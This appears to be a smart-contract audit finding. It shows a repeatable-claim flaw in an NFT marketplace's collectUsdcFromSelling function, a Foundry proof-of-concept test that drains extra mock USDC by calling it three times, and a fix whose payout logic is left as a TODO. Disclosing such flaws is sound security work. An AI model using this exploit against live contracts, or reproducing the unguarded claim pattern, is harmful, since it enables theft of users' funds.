@> function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
See comments for detail explanations.
pragma solidity 0.8.34;
import {Test, console2} from "forge-std/Test.sol";
import {NFTDealers} from "../src/NFTDealers.sol";
import {MockUSDC} from "../src/MockUSDC.sol";
contract NFTDealersPoc is Test {
NFTDealers public nftDealers;
MockUSDC public usdc;
string internal constant BASE_IMAGE = "https://images.unsplash.com/photo-1541781774459-bb2af2f05b55";
address public owner = makeAddr("owner");
address public attacker = makeAddr("attacker");
address public buyer = makeAddr("buyer");
uint256 public constant LOCK_AMOUNT = 20e6;
function setUp() public {
usdc = new MockUSDC();
nftDealers = new NFTDealers(owner, address(usdc), "NFTDealers", "NFTD", BASE_IMAGE, LOCK_AMOUNT);
usdc.mint(attacker, LOCK_AMOUNT);
usdc.mint(buyer, 200_000e6);
}
function testPocCollectUsdcFromSellingDrain() public {
uint256 tokenId = 1;
uint32 nftPrice = 1000e6;
vm.prank(owner);
nftDealers.revealCollection();
vm.prank(owner);
nftDealers.whitelistWallet(attacker);
vm.startPrank(attacker);
usdc.approve(address(nftDealers), LOCK_AMOUNT);
nftDealers.mintNft();
nftDealers.list(tokenId, nftPrice);
vm.stopPrank();
vm.startPrank(buyer);
usdc.approve(address(nftDealers), nftPrice);
nftDealers.buy(tokenId);
vm.stopPrank();
usdc.mint(address(nftDealers), 3000e6);
uint256 fees = nftDealers.calculateFees(nftPrice);
uint256 legitimatePayoutOnce = nftPrice - fees + LOCK_AMOUNT;
uint256 attackerBefore = usdc.balanceOf(attacker);
uint256 contractBefore = usdc.balanceOf(address(nftDealers));
console2.log("=== Before exploit ===");
console2.log("Attacker USDC: ", attackerBefore);
console2.log("Contract USDC: ", contractBefore);
console2.log("Legitimate payout (1x): ", legitimatePayoutOnce);
vm.startPrank(attacker);
nftDealers.collectUsdcFromSelling(tokenId);
nftDealers.collectUsdcFromSelling(tokenId);
nftDealers.collectUsdcFromSelling(tokenId);
vm.stopPrank();
uint256 attackerAfter = usdc.balanceOf(attacker);
uint256 contractAfter = usdc.balanceOf(address(nftDealers));
console2.log("=== After exploit ===");
console2.log("Attacker USDC: ", attackerAfter);
console2.log("Contract USDC: ", contractAfter);
console2.log("Total drained: ", attackerAfter - attackerBefore);
console2.log("Extra stolen (2 extra): ", attackerAfter - attackerBefore - legitimatePayoutOnce);
assertEq(attackerAfter - attackerBefore, legitimatePayoutOnce * 3);
assertLt(contractAfter, 3000e6);
}
}
- remove this code
// Remove whole collectUsdcFromSelling() and put USDC collection logic in buy()
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
+ add this code
function buy(uint256 _listingId) external payable {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller != msg.sender, "Seller cannot buy their own NFT");
activeListingsCounter--;
bool success = usdc.transferFrom(msg.sender, address(this), listing.price);
require(success, "USDC transfer failed");
_safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
s_listings[_listingId].isActive = false;
// TODO: move transfer USDC logic here so that malicious seller cannot claim for second time
emit NFT_Dealers_Sold(msg.sender, listing.price);
}